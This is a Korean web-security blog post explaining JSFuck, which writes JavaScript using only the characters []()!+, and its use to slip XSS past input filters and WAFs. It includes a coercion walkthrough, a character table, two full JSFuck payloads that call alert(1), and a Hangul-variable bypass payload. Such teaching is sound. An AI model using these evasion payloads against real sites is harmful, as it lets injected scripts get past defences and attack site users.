본문 바로가기
정보보안(웹해킹)/XSS(Cross-Site Scripting)

JSFuck and XSS Payload (부제 : !,[,],(,),+ 만으로 XSS하기)

by 끊임없는정진 2022. 12. 11.

▶ JSFuck?

 

JavaScript + BrainFuck 의 합성어로, 난해한 JS 프로그래밍 스타일을 뜻한다. 전에 작성한 Filtering Bypass를 할 수 있는 극단적 경우가 여기에 해당된다. JS문법에서 사용되는 문자 중 단 6가지인 [,],(,),+,! 만으로 JS코드를 구성할 수 있음에 착안하여 고안된 프로그래밍 스타일이다. 

 

▶ 원리?

 

JS의 자체기능을 이용해서 문자를 뽑아쓰는 형태로 작동된다. 대표적인 것이 괄호를 문자열로 바꾸는 방법이다. 

★ ![] = false : 배열 자체는 truthy한 값으로 인정되는데, 이것을 부정하면 false가 나온다.

★ (객체)+[] = "" : 자바스크립트에서 오브젝트 간에 더하기 연산은 정의되어 있지 않으므로 .toString() (문자열로 변환) 처리가 되어 문자열 간의 더하기로 처리된다. 오브젝트로 취급되는 배열을 이용하여  []+[]를 연산하면 [].toString() 이므로 결과적으로 ""(빈문자열) 이 생성된다.

★ false+"" = "false" : bool 값의 false에 빈 문자열을 더하게 되면 false.toString() 연산으로 "false"의 문자열이 나오게 된다. 여기서 f,a,l,s,e 값을 뽑아 쓸 수 있다.

★ !![] = true : false의 부정이므로 true값이 나온다.

★ +true : true 앞에 unary plus를 쓰면 bool값의 true가 숫자형 1로 변환이 된다.

★ "false"[1] = "a" : false 문자열에서 a값을 뽑아쓸 수 있다.

 

위와 같은 원리로 개발자도구에서 script값을 실행시키면 실제로 작동이 된다는 것을 확인해볼 수 있다.

개발자도구 'console'창에서 JSFuck 실행 예

 

예제) ++[[]][+[]]+[+[]] : 극도로 꼬아버리면 "10"을 이렇게 나타낼수도 있다.

(1) 연산자 ++는 +보다 우선순위가 높으므로 표면적으로 밖에 위치한 ++와 +를 기준으로 하여 코드를 ++[[]][+[]] , + , [+[]] 세부분으로 나누어서 연산한다.

(2) +[]: +는 unary operator로, +[]는 +[].toString()과 동치가 되어 +""가 되므로, 결과는 0이 나온다.

(3) 따라서, 코드는 ++[[]][0], + , [0] 과 같아진다.

(4) ++[[]][0] 에서 ++뒤의 [[]][0]는 빈배열 1개를 담고 있는 배열의 첫 번째 원소라는 의미이다. 따라서, 배열 안에 있는 배열에 ++를 시키라는 의미가 되며 이는 배열 안의 배열 []에 1을 더하는 동작을 수행하게 된다. 이는 1을 리턴하게 된다.

(5) 1 + [0] 과 같아졌다. [0]의 ToPrimitive() 값은 문자열 "0"이 된다. 어느 한쪽이 문자열인 더하기는 toString()을 한 결과물의 합이므로 "1"+"0"의 값인 "10"을 출력하게 된다.

 

▶ JSFuck 표현

 

Char JSFuck
+ (+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]])+[])[!+[]+!+[]]
. (+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]
0 +[]
1 +!![] or +!+[]
2 !![]+!![] or !+[]+!+[]
3 !![]+!![]+!![] or !+[]+!+[]+!+[]
4 !![]+!![]+!![]+!![] or !+[]+!+[]+!+[]+!+[]
5 !![]+!![]+!![]+!![]+!![] or !+[]+!+[]+!+[]+!+[]+!+[]
6 !![]+!![]+!![]+!![]+!![]+!![] or !+[]+!+[]+!+[]+!+[]+!+[]+!+[]
7 !![]+!![]+!![]+!![]+!![]+!![]+!![] or !+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]
8 !![]+!![]+!![]+!![]+!![]+!![]+!![]+!![] or !+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]
9 !![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![] or !+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]
a (![]+[])[+!+[]]
d ([][[]]+[])[!+[]+!+[]]
e (!![]+[])[!+[]+!+[]+!+[]]
f (![]+[])[+[]]
i ([![]]+[][[]])[+!+[]+[+[]]]
I (+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+(+!+[])+(+[])+(+[])+(+[]))+[])[+[]]
l (![]+[])[!+[]+!+[]]
N (+[![]]+[])[+[]]
n ([][[]]+[])[+!+[]]
r (!+[]+[])[+!+[]]
s (![]+[])[!+[]+!+[]+!+[]]
t (!!+[]+[])[+[]]
u ([][[]]+[])[+[]]
y (+[![]]+[+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+(+!+[])+(+[])+(+[])+(+[]))])[+!+[]+[+[]]]
false ![]
true !![]
undefined [][[]]
NaN +[![]]
0 +[]
1 +!+[]
2 !+[]+!+[]
10 [+!+[]]+[+[]]
Array []
Number +[]
String []+[]
Boolean ![]
Function [][“filter”]
eval [][“filter”]“constructor”()
window [][“filter”]“constructor”()

 

 

▶ JSFuck XSS payload

 

다음과 같은 Payload를 입력하면 alert 창을 띄울 수 있다.

[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+
!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]
+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!!
[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[
]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(!
[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(
!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()

그냥 []["filter"]["constructor"]("alert(1)")() 을 JSFuck 양식으로 치면 위와 같이 칠 수 있기 때문이다. 또한, 

[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]])

와 같이도 alert(1) 창을 띄울 수 있는데 이는 eval로 함수를 정의해서 실행하는 명령어를 JSFuck 양식으로 친 것이다.

참고로 JSFuck으로 코드를 난잡하게 만들어주는 사이트도 존재한다: http://www.jsfuck.com/#

 

▶ 응용 - 한글 XSS payload

 

JSFuck을 응용하여 WAF Bypass 할 때, 한글로 XSS페이로드를 만들수도 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
(
  [
    ,                             // "["
    오,                          // "o"
    ,                             // "b"
    ,                             // "j"
    ,                             // "e"
    늘                           // "c"
  ] =
 
  [] + {},                       // "[object Object]"
 
  [
    저,                          // "t"
    녁,                          // "r"
    은,                          // "u"
    삼,                          // "e"
    ,                             // "f"
    겹,                          // "a"
    살,                          // "l"
    맛,                          // "s"
    ,                             // "e"
    ,                             // "u"
    있                           // "n"
  ] =
  [!!오] +                       // "true" +
  !오 +                          // "false" +
  오.오                          // "undefined"
)[
  늘+=+++++++++녁 // "constructor"
][
  늘                             // "constructor"
](
  겹+++++                  // "alert"
  '(-~오)'                       // (1)
)()
cs

 

페이로드를 보기좋게 두줄로 정리하면 다음과 같다.

([,오,,,,늘]=[]+{},[저,녁,은,삼,,겹,살,맛,,,있]=[!!오]+!오+오.오)
[늘+=오+있+맛+저+녁+은+늘+저+오+녁][늘](겹+살+삼+녁+저+'(-~오)')()

Payload 구성이 삼겹살에 미친놈같긴 하지만, 그래도 alert(1)창을 띄우는데에는 아무 지장이 없다.

 

한글(혹은 삼겹살)로 만든 XSS payload

 

 

 

출처: https://www.hahwul.com/2018/09/15/jsfuck-xss-payload/

https://www.hahwul.com/2018/11/20/waf-bypass-xss-payload-only-hangul/

https://github.com/aemkei/jsfuck

http://www.jsfuck.com/#

https://namu.wiki/w/JSFuck

댓글